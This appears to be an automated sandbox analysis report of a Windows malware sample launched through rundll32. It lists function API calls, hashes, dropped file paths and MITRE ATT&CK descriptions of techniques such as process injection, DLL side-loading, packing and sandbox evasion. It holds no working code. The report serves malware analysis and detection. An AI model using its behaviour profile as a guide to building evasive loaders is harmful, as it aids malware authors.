Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CloseHandleProcess$OpenTerminate
String ID:
API String ID: 6823918-0
Opcode ID: ba73f2dd624f0828aa206dd07c4a16fe15200f4358f6e993a6f0722e7fc0aad8
Instruction ID: 5de784d7574f9188aa6451a23a921ffbe079856f50babf4c989d878cd4bace46
Opcode Fuzzy Hash: ba73f2dd624f0828aa206dd07c4a16fe15200f4358f6e993a6f0722e7fc0aad8
Instruction Fuzzy Hash: 5CE0C2713012306FF6625734AC4CBAF36D4EF0CB52F024200FA06D5186D670CC91C6E1

Function 10005410 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106stringCOMMON

Download Yara Rule

APIs

strrchr.MSVCRT ref: 10005484
strrchr.MSVCRT ref: 100054D1

Strings

123, xrefs: 10005474

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: strrchr
String ID: 123
API String ID: 3418686817-2286445522
Opcode ID: 39fdab1e5a0020d21e9eb7cee9aaec888a32d0f9fd102b13d19281708b0eb9c8
Instruction ID: 1cc1803cb3730628ab3ec1cde8f412e31f934bc2cd6faa80af4b6377ccdad2fb
Opcode Fuzzy Hash: 39fdab1e5a0020d21e9eb7cee9aaec888a32d0f9fd102b13d19281708b0eb9c8
Instruction Fuzzy Hash: A9218CB56042042BF314C238AC46BBB3BC4DB80365F54062DFA169B1D2EDBBEA894255

Function 100116B0 Relevance: 5.0, APIs: 4, Instructions: 45stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,?,00000000,00000000,10009FCF,?,Win32_NetworkAdapterConfiguration), ref: 100116C2
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000001), ref: 100116E9
GetLastError.KERNEL32(?,00000001), ref: 100116F9
GetLastError.KERNEL32(?,00000001), ref: 100116FF

Memory Dump Source

Source File: 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.3902760316.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.3902807574.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorLast$ByteCharMultiWidelstrlen
String ID:
API String ID: 475730466-0
Opcode ID: 1416b3daedab4db7fc4709ea3dd8b86842199994e6fa798e2ac8bd62982b39c2
Instruction ID: 8c346e5ad489d9a7fb265ebe5e5df2cdd55428298bb11360a6b599af64deaac3
Opcode Fuzzy Hash: 1416b3daedab4db7fc4709ea3dd8b86842199994e6fa798e2ac8bd62982b39c2
Instruction Fuzzy Hash: 9901F432504226ABD7119B61CC45BDB3FB8EF023A1F204130F804DA290E730D5A1C6A5

Analysis Process: rundll32.exePID: 4932, Parent PID: 4084COMMON

Execution Graph

Execution Coverage:	15.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	42
Total number of Limit Nodes:	3

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 007207DD Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 151
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,ABAD1000,00001000,00000040,00721100), ref: 0072085C
wsprintfA.USER32 ref: 007208E1
wsprintfA.USER32 ref: 00720900
MessageBoxA.USER32(00000000,File corrupt.,Application error,00000010), ref: 00720918
ExitProcess.KERNEL32(00000000), ref: 00720920
VirtualFree.KERNELBASE(00730000,00000000,00008000,ED815D00), ref: 00720969

Strings

The procedure %s could not be located in the DLL %s., xrefs: 007208F8
SWVU, xrefs: 00720864, 00720878, 0072087E, 00720884, 007208A1
File corrupt., xrefs: 00720915
The ordinal %d could not be located in the DLL %s., xrefs: 007208D9
Application error, xrefs: 00720914

Memory Dump Source

Source File: 00000009.00000002.1614940986.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_720000_rundll32.jbxd

Similarity

API ID: Virtualwsprintf$AllocExitFreeMessageProcess
String ID: Application error$File corrupt.$SWVU$The ordinal %d could not be located in the DLL %s.$The procedure %s could not be located in the DLL %s.
API String ID: 81942880-1423270863
Opcode ID: c79b1c611a59b2f0b62d6b76279985f839f984ab3ab89f0c580d4d927e070505
Instruction ID: 7ba51bc0a9e5c452dab5e39b30d00302eed941c92a10baa3c157ccdf9e773cc6
Opcode Fuzzy Hash: c79b1c611a59b2f0b62d6b76279985f839f984ab3ab89f0c580d4d927e070505
Instruction Fuzzy Hash: EE418D7264075A9FEB388F24DC44FEB73A5EF44350F044218ED869724AEB74B8208BA0

Function 00720FA4 Relevance: 3.0, APIs: 2, Instructions: 35
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,00001000,00000004,?,?), ref: 00720FD3
VirtualProtect.KERNEL32(?,00001000,?,?), ref: 00720FF1

Memory Dump Source

Source File: 00000009.00000002.1614940986.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_720000_rundll32.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 333d2feefedeb4a11df68bec21991a956e925db56d9e6a2917b24d5a107d6d0d
Instruction ID: 2b44e682d5f91a07627a39b1826c403b4270da0be5f4a0e2c40d630c95a8d120
Opcode Fuzzy Hash: 333d2feefedeb4a11df68bec21991a956e925db56d9e6a2917b24d5a107d6d0d
Instruction Fuzzy Hash: EDF0E933240245AFEB198F64D895EEE7768DF48398B20016AF6029A186CA71E551C754

Function 00720063 Relevance: 2.6, APIs: 2, Instructions: 50
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 0072007E
VirtualFree.KERNELBASE(00000000,?,00004000), ref: 007200BE

Memory Dump Source

Source File: 00000009.00000002.1614940986.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_720000_rundll32.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: c7f3f847bd39c9ffca4c5c83804de00699601861443dcce05f992f4345ead0f0
Instruction ID: efd2d70e648e78f5c952f75b1f2801b42773ef143336285c280d45b6a16776ce
Opcode Fuzzy Hash: c7f3f847bd39c9ffca4c5c83804de00699601861443dcce05f992f4345ead0f0
Instruction Fuzzy Hash: 4A01C876209711BEF7314AA1AC40F37BBECDF48712F144C5AFAD5C5092D929E8409BB0

Function 0072002A Relevance: 1.3, APIs: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNELBASE(00000000,?,00004000), ref: 007200BE

Memory Dump Source

Source File: 00000009.00000002.1614940986.0000000000720000.00000040.00001000.00020000.00000000.sdmp, Offset: 00720000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_720000_rundll32.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: a992a5cacdb97e2c59bd9131508e8a39cd1fdba3109e644b78219f2605f04693
Instruction ID: e7daa497cf8ea6dc91cf807e61b3ae29ba1bd5af2a9bc92bb3c6c318ab560236
Opcode Fuzzy Hash: a992a5cacdb97e2c59bd9131508e8a39cd1fdba3109e644b78219f2605f04693
Instruction Fuzzy Hash: 29F02E2264A3216DF63077357C89B27BB98DF43321B150D9BEC40D6093DD19D80286F4

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	Drive: Drive Modification
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report XXHYneydvF.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\1.txt

C:\Users\user\AppData\Local\Temp\ygqcn.exe

C:\yucdh\qtbbkpjim.dll

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
XXHYneydvF.exe

Function 00401A2A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30
sleepCOMMON

Function 00401867 Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 151
sleepfileprocessCOMMON

Function 00402F22 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 111
COMMON

Function 004017B2 Relevance: 7.6, APIs: 5, Instructions: 67
fileCOMMON

Function 00401C6A Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre